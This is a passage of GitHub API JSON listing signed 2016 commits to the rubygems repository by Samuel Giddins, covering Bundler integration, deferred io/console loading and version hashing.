1.8.7\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1ac4cbc9fc806cbceac964b37ba6582d5fbe597c","html_url":"https://github.com/rubygems/rubygems/commit/1ac4cbc9fc806cbceac964b37ba6582d5fbe597c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1ac4cbc9fc806cbceac964b37ba6582d5fbe597c/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"0995ec974e3aae9d9130ca62b26cb387cd116f48","url":"https://api.github.com/repos/rubygems/rubygems/commits/0995ec974e3aae9d9130ca62b26cb387cd116f48","html_url":"https://github.com/rubygems/rubygems/commit/0995ec974e3aae9d9130ca62b26cb387cd116f48"}]},{"sha":"0995ec974e3aae9d9130ca62b26cb387cd116f48","node_id":"MDY6Q29tbWl0NjE0MDcwOjA5OTVlYzk3NGUzYWFlOWQ5MTMwY2E2MmIyNmNiMzg3Y2QxMTZmNDg=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-10T14:10:00Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-25T21:15:40Z"},"message":"Use Bundler for Gem.use_gemdeps","tree":{"sha":"c456c1868a1050c2e20076e21be61cef4556d2df","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c456c1868a1050c2e20076e21be61cef4556d2df"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0995ec974e3aae9d9130ca62b26cb387cd116f48","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXloF8AAoJEAEZW7MV3ahWCZUP/3GrH3N/EFWEuT77EWFFkICx\n2OevsOi5HkasquSJhX7a28alz3KeifqXQtgwlmt6ObrJRRhqcZm6h7r1mXJsX1Oi\nNktPcAkk0A45Pi8lghKE5PAk2zQzBveKpXYEj2nwS7ORrepngLICxIue9ec4TYFN\n/Xawebp1mdCVdlx3CSrc2e9KO0wbQQrvEqZuJUJTl6nc9uFC9t2HC/vXAtzfQESm\nUEnck0jYJYoeIqnoPxSrQm2TX8jxEbeAHDn+txVJoFTYvLwTAFpV4StNzstNo6PV\npTUdmOb0dFxoNhEninQrt0vPCINuDsZ1aCHSSkJ/LlCcNXzgxL4ucCzcc3yvJBet\nSJljxYRkQ8JwYu6djGSrCwSWN5hXH1ksVtPVoGYUAXEYzkoiBX3K0uWmPsB+qvSh\nWDt2TEEPEC28TVXeP3HZfEc4TSbqktk//6U09fwVjXss7ZLNqBXQpUa3Wh3g3nnb\nLZME47FDQ+2tE59s58hdN0gTuUOEkhRjt/y3gxLNXRSaSV+qK3yQ5wQT9p5EbO2e\nv+C0ueUOyS2eKtfhdKWIj76uuOlotY8w3xrfeMmuNgi+HSNvvN/eZuMkk1LAxwt2\nny1XV6uxTi7qvdKEDxvFlkMGskclfZ5nkNgnokO8MeaBK0HChWMikMMfDTm2l6xz\nVBOcxz9JQTtomGwaPG1F\n=f376\n-----END PGP SIGNATURE-----","payload":"tree c456c1868a1050c2e20076e21be61cef4556d2df\nparent c65afec704a2e5b389bca628f80a0eec0fc53e09\nauthor Samuel Giddins 1468159800 -0300\ncommitter Samuel Giddins 1469481340 -0500\n\nUse Bundler for Gem.use_gemdeps\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0995ec974e3aae9d9130ca62b26cb387cd116f48","html_url":"https://github.com/rubygems/rubygems/commit/0995ec974e3aae9d9130ca62b26cb387cd116f48","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0995ec974e3aae9d9130ca62b26cb387cd116f48/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"c65afec704a2e5b389bca628f80a0eec0fc53e09","url":"https://api.github.com/repos/rubygems/rubygems/commits/c65afec704a2e5b389bca628f80a0eec0fc53e09","html_url":"https://github.com/rubygems/rubygems/commit/c65afec704a2e5b389bca628f80a0eec0fc53e09"}]},{"sha":"c65afec704a2e5b389bca628f80a0eec0fc53e09","node_id":"MDY6Q29tbWl0NjE0MDcwOmM2NWFmZWM3MDRhMmU1YjM4OWJjYTYyOGY4MGEwZWVjMGZjNTNlMDk=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-10T14:09:23Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-21T21:25:02Z"},"message":"[UI] Avoid eagerly loading io/console\n\nSince io-console is now gem-ified, we should wait to load it for as long as possible to avoid accidentally activating it, which could lead to conflicts","tree":{"sha":"c8a97fe1a44de9699bd3ecfe67620bbbdf32c6a2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c8a97fe1a44de9699bd3ecfe67620bbbdf32c6a2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c65afec704a2e5b389bca628f80a0eec0fc53e09","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXkT2uAAoJEAEZW7MV3ahWHigQAIj8G410KryMHvTJOmnaSCQo\nxO6ZqsqEYoN9vwGhm47wzAmFWssSKpchJX8+cQelfU/yTQ/G0bxK7+xx4uYWh24t\n4veZMBItMzIgDawBQIK803nyMKhPNs9iDOcjair+Yu/f9ecLAHMxhtWehqvEezGT\nkb4n4VcPY627EGrUK2QZtJYwfJGUKmFFMelmKtTz+6NsgXzbZnth5aFfWKEOv47X\nD6MW6oKnq+lBeTbRFLwWbxTJbCJEHtuT57ew4JBZEpYC74CQ720f7bIBbxoY/Ft0\nzhmMmDPgOv7UiNAGU7EB9Z6RyefltQ08Yjx6VzXW9ctzXmikurR8W03eDMQNZxVQ\nhkRdpjsS0R/V99uiTfv4FBQt1pOj8wA8sRpYZ1jjXUe6xZD46qTSWEk3o2xf05do\n4R905SZUY4iNnKJvXcILXW6Pq+IiR5fXwHRbrH+tZ+EmPr5yXTK3UGWXzpps0+ft\nlVZvzGLwjKHFlbImjtFWMmsnQk9NkBlVZNJQSxfiwgymj08Bec3HFCy5yqx1fXA8\nHz6wgptaRXWHzDu1RcfGWb2v+NZTqdw45DY77OLFyztPQzdSCTaNVPgm7XB1dojA\nt1lgbO+Ngk9IIEPZ+XkoeD6oQ2yeHUe9KC3/9y7BhYHRphaHgl1rmJADhf3lxVrS\n5q+KRpq4sQIsdt04kEp7\n=lUbw\n-----END PGP SIGNATURE-----","payload":"tree c8a97fe1a44de9699bd3ecfe67620bbbdf32c6a2\nparent ab6f1229424b80e44c501e26b82ec0259a578b0b\nauthor Samuel Giddins 1468159763 -0300\ncommitter Samuel Giddins 1469136302 -0400\n\n[UI] Avoid eagerly loading io/console\n\nSince io-console is now gem-ified, we should wait to load it for as long as possible to avoid accidentally activating it, which could lead to conflicts\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c65afec704a2e5b389bca628f80a0eec0fc53e09","html_url":"https://github.com/rubygems/rubygems/commit/c65afec704a2e5b389bca628f80a0eec0fc53e09","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c65afec704a2e5b389bca628f80a0eec0fc53e09/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ab6f1229424b80e44c501e26b82ec0259a578b0b","url":"https://api.github.com/repos/rubygems/rubygems/commits/ab6f1229424b80e44c501e26b82ec0259a578b0b","html_url":"https://github.com/rubygems/rubygems/commit/ab6f1229424b80e44c501e26b82ec0259a578b0b"}]},{"sha":"ab6f1229424b80e44c501e26b82ec0259a578b0b","node_id":"MDY6Q29tbWl0NjE0MDcwOmFiNmYxMjI5NDI0YjgwZTQ0YzUwMWUyNmI4MmVjMDI1OWE1NzhiMGI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-10T14:08:36Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-21T21:25:02Z"},"message":"[TestCase] Add support for using bundler","tree":{"sha":"3acd87ebe7044a763927d4f36fc61b7d4af26075","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3acd87ebe7044a763927d4f36fc61b7d4af26075"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ab6f1229424b80e44c501e26b82ec0259a578b0b","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXkT2uAAoJEAEZW7MV3ahWsecP/iCGMXoX/kd7CcoXXm6FsoyW\n7wzxIkgxtkwbMhNTaYhkD3vJWSMaX+m0Ue7tqaZjqshRBiru1q6ycIBXeJWcILKm\nVQaJtphdO3+NBnUL+J6EV1q2YiPtCWIojO/RKwZSxskLQZYmW5o3OUvCD8o41QR9\nEF1T/jDYbCweY1bbp/bI8l/x5j9r4OKS8LveHwihkhIw0LauGDR0fW8XsLfyYlGK\nzw1+YVsQGnV8KANz8r0YlAiTkLNyUuVeKKajUZqrOPjCfOToQyakLJNIPD/a7Jck\nXj5o063yNc9tCwqPcmGCkrYzI3a+O3hsJwKnZbnRijJITHoC571yIuVSE8fO2uhH\nJT1ZcmyXBHaI9VZr0vlkwaV6wQ1rDhd+tckSdpLunNuWaNIpAORZ2PAAdfUmg9Sj\nCTNH9wiQN7yJgdHMweip999abyWREybvJ5nvjgVGF9m01c0L+yjFBmynk6e6M5Iw\nzzHRaeZl5rEawysWQI09P1Z5dmAvQu9AbLQuoa8jT2LkpzyESPOA6hV+1/HlTfS5\n1jAGmuu4P9cJNI0Ifx4xVgPPdp+NI2veeNWK0PlKMtIzhV0KqkgGaH/oVtun2xgK\n1sMM+QHeXRydjd0ZvLDV+HtrtkZ8sjYUzA8noX1mAhCauQE6uxbeliVL5nsVlf16\nNDb52kGJAi+uV2CFqGSD\n=u4w+\n-----END PGP SIGNATURE-----","payload":"tree 3acd87ebe7044a763927d4f36fc61b7d4af26075\nparent 19a4b103b941571fe8fac9717754be285724f4eb\nauthor Samuel Giddins 1468159716 -0300\ncommitter Samuel Giddins 1469136302 -0400\n\n[TestCase] Add support for using bundler\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ab6f1229424b80e44c501e26b82ec0259a578b0b","html_url":"https://github.com/rubygems/rubygems/commit/ab6f1229424b80e44c501e26b82ec0259a578b0b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ab6f1229424b80e44c501e26b82ec0259a578b0b/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"19a4b103b941571fe8fac9717754be285724f4eb","url":"https://api.github.com/repos/rubygems/rubygems/commits/19a4b103b941571fe8fac9717754be285724f4eb","html_url":"https://github.com/rubygems/rubygems/commit/19a4b103b941571fe8fac9717754be285724f4eb"}]},{"sha":"19a4b103b941571fe8fac9717754be285724f4eb","node_id":"MDY6Q29tbWl0NjE0MDcwOjE5YTRiMTAzYjk0MTU3MWZlOGZhYzk3MTc3NTRiZTI4NTcyNGY0ZWI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-22T18:52:16Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-21T21:25:02Z"},"message":"Add support for shipping bundler as a vendored default gem","tree":{"sha":"bf595d192fe09ccf9f9feb8bc449c8359c842d3d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bf595d192fe09ccf9f9feb8bc449c8359c842d3d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/19a4b103b941571fe8fac9717754be285724f4eb","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXkT2uAAoJEAEZW7MV3ahWE/sP/2lp8oCZzIuBDcB0CRXLzfqk\nDlShmvGlHWQw+t6aqOsZtI8qBq0rLXYJArmXOwAnjZIJauasG69z6WxAw77MadBk\n1rmrBjhS0u2Y9CPikkGxkBvdkjhQR1kJM/tbK1G4ZCXMxBF+MupR4ZtMuEdTdWCX\nfePHmz0bADGQmPGiTZsvBGfk+byL4iMtAqTbd9Yvoc3uLxYYF65VXZZXe9STLUp6\nssHpFcxXvlgHxk4K9yYK/oZFBrpbYbD0VrzDkOOia9/qrN3QUqQo4zdOKxl5ruqu\nwvwV4xg4dUSLRsD/EIbkikR4JE7+XVzbSmySzNHjGk0fpSgfN2bka6E3xZjL8zbo\nyUNn8y54Dt6z6h8UWSmLkmf5oLPxDl78+CorMNfAN0fdG+g3iHI5r/6HJnRYi6sy\nVBgqa0U7UWK7lwEjcS7OvpJ1ytIn6W4yIpZWUSFU2ixNRJHBhwgQc7Ax7qupFhMY\nnUMxXJ9mK2848qz7sT9NaQ0FtlZDomhGBhTdRpHAcYIrE8BJWjuYf9VGdSD6uyxi\nvQgpIEV2vIwTG5AFPEUnvhJqhxd1YN97632i/Hyf1K2G3ye7S2ADbU5MQ5laDc/n\nd16kk0unYMDFiTjezhYix3985wSjY0Fm8a+/dE+R3AF2RsPd20xUkSNGULKMFW5u\nORMhI6ROaO2xFYwVuvWK\n=5ztc\n-----END PGP SIGNATURE-----","payload":"tree bf595d192fe09ccf9f9feb8bc449c8359c842d3d\nparent c134d4671a2a4cb557927e37f276c205b93bb03d\nauthor Samuel Giddins 1466621536 -0500\ncommitter Samuel Giddins 1469136302 -0400\n\nAdd support for shipping bundler as a vendored default gem\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/19a4b103b941571fe8fac9717754be285724f4eb","html_url":"https://github.com/rubygems/rubygems/commit/19a4b103b941571fe8fac9717754be285724f4eb","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/19a4b103b941571fe8fac9717754be285724f4eb/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"c134d4671a2a4cb557927e37f276c205b93bb03d","url":"https://api.github.com/repos/rubygems/rubygems/commits/c134d4671a2a4cb557927e37f276c205b93bb03d","html_url":"https://github.com/rubygems/rubygems/commit/c134d4671a2a4cb557927e37f276c205b93bb03d"}]},{"sha":"15ca22fbf6b6597dac564f75551b7658dc5d26d9","node_id":"MDY6Q29tbWl0NjE0MDcwOjE1Y2EyMmZiZjZiNjU5N2RhYzU2NGY3NTU1MWI3NjU4ZGM1ZDI2ZDk=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-10T16:09:58Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-15T18:15:25Z"},"message":"[Version] Make hash based upon canonical segments","tree":{"sha":"5963614c42cf3a64eaee19703f843eb5efa0fbfd","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5963614c42cf3a64eaee19703f843eb5efa0fbfd"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/15ca22fbf6b6597dac564f75551b7658dc5d26d9","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXiSg9AAoJEAEZW7MV3ahWF+AP/iKtQOAenMRhichCawgiEdlE\n1w2rRc9BHAmKIzpcRUzqpBq/q/wVVDZStnKbLrlMkBFGnkJbt9hfo9mlMa7cPIjm\nmZaTPG4X0G8CBpLMaj5ke5zYCKRW2E3Y87eVMRZGUj5FFxu6IECL8iRUUHRNmqDu\nWry8XJsmnII7ABWi3z7HVnTp/cLEULIDtACF7ORm4mhS+drj4HppwQTdgBOMNiN6\n4kU4EkgZBWkHhvSVrGSEmA7nRpzABktDL9FIclJaRlA3ashMyrkNpJWLy7Q2VRbz\nDN5RcqaaFa63yhQJw2MD/iNX1HynJKoYzdTU1+GdcRhn8P7F2q6nUuKsE8OhsqzO\nqSK5FfpIMTk1CoDDoIjS/Zv2d3XrEVXnuYHceIoLtWTUdDnQ3cHYp/JEEW5ZaTUu\n9mMRjcLGNtawm9e+ORl5VqMA8hrPtPtg2Vnemlm1HD/8XcuvrW5tI2Gi7AJzfgSR\n2o4xDVzI5bUc6y85SqFGfCsnN10Jgbc7heR+XX6SoKkPMPdR1fyq9Jp5aY7AQ5Yh\n8HpJiUtIZnPAh+7GORhyxykoLEehJwfEy5OwKlgzLH0t05R8Ab/dSMH66TUqOCJU\n+yod757dSf8EDPTLONjc2TSNAMUb8sA4KtSX6w9ujfHfpAeU41dKdqLqBmFffBt8\nOXH9Cy9kbh49mQNFyFHf\n=kxaH\n-----END PGP SIGNATURE-----","payload":"tree 5963614c42cf3a64eaee19703f843eb5efa0fbfd\nparent d604feefd9d618b62ed14b9093c054f07f883a88\nauthor Samuel Giddins 1468166998 -0300\ncommitter Samuel Giddins 1468606525 -0500\n\n[Version] Make hash based upon canonical segments\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/15ca22fbf6b6597dac564f75551b7658dc5d26d9","html_url":"https://github.com/rubygems/rubygems/commit/15ca22fbf6b6597dac564f75551b7658dc5d26d9","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/15ca22fbf6b6597dac564f75551b7658dc5d26d9/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d604feefd9d618b62ed14b9093c054f07f883a88","url":"https://api.github.com/repos/rubygems/rubygems/commits/d604feefd9d618b62ed14b9093c054f07f883a88","html_url":"https://github.com/rubygems/rubygems/commit/d604feefd9d618b62ed14b9093c054f07f883a88"}]},{"sha":"4ca8eb56e5c083829ece8dd5ec54cf9e65ed1597","node_id":"MDY6Q29tbWl0NjE0MDcwOjRjYThlYjU2ZTVjMDgzODI5ZWNlOGRkNWVjNTRjZjllNjVlZDE1OTc=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-15T02:56:57Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-15T02:56:57Z"},"message":"Eagerly resolve in activate_bin_path","tree":{"sha":"8378bb4084950baa742d7ffe8b22cb2ddbb96f4a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8378bb4084950baa742d7ffe8b22cb2ddbb96f4a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4ca8eb56e5c083829ece8dd5ec54cf9e65ed1597","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXiFD5AAoJEAEZW7MV3ahWsB0QAII2Jh7K9UV7tzr5peOO+akk\nFaknrOrwhiMR05rzofqUH0qIvXm/wh2I8OZxqu6IaYZ4/w4C4Y3QJLEeZegpOEdJ\nbpuxFSyNkFPUI+p5xhCNOrfG+a6m09IkGiu5KPmfEEf/Kn8ucskQzjPWcxt8Ms/Z\ntkWBfdnUl/oMXUpxkEIfCnyGGNUEWsq+BS8OaQrMJd2ll4YjuGGe3BK441UBpaae\n/u7wDVeIakTrcPzaUrep/72vHr7UVWnS1v7WL22XiC1rLwkfO+q4obZ0r0rYDZB9\nchH/8YL6dLfg2ms8eNziJqphp066ZbQROVmdnQPMX9uuiIPbOphhIkvSqjpFNHnt\nL+Rdc76Er8H5e0nw2q99QUiGqWq3Qzp/cTgOKv2g9yDkCKF2EpTPRhAksk7nrNvL\nmvRtL58Fvqo6clFWer1zRCMPC8iR3ytpzwTR/VeQhaMGq1FJgafLOMvUKgHMYvuY\n53jCQA4R1VG8bMnJdkCD2QfJUHkIjnNwFG4pUqnQRCvWIe74rkMCTX1r8q3GTBzF\n3dnl2ugi8wsrua3sqRPwSPFtFyro1JNoAySqOAUab8cGE5NhZbikbZjO5G8+6uCs\nAa9mWgaunrnZ0uXdEYNkJNXpQ4b1jTe2cGBY92lKfc8n1jnBjVhFlgPt6rLq/5ts\nFiUFN9nMv0HoCU58tHTN\n=nBHK\n-----END PGP SIGNATURE-----","payload":"tree 8378bb4084950baa742d7ffe8b22cb2ddbb96f4a\nparent ccb9c3300c063f5b5656669972d24a10ef8afbf5\nauthor Samuel Giddins 1468551417 -0500\ncommitter Samuel Giddins 1468551417 -0500\n\nEagerly resolve in 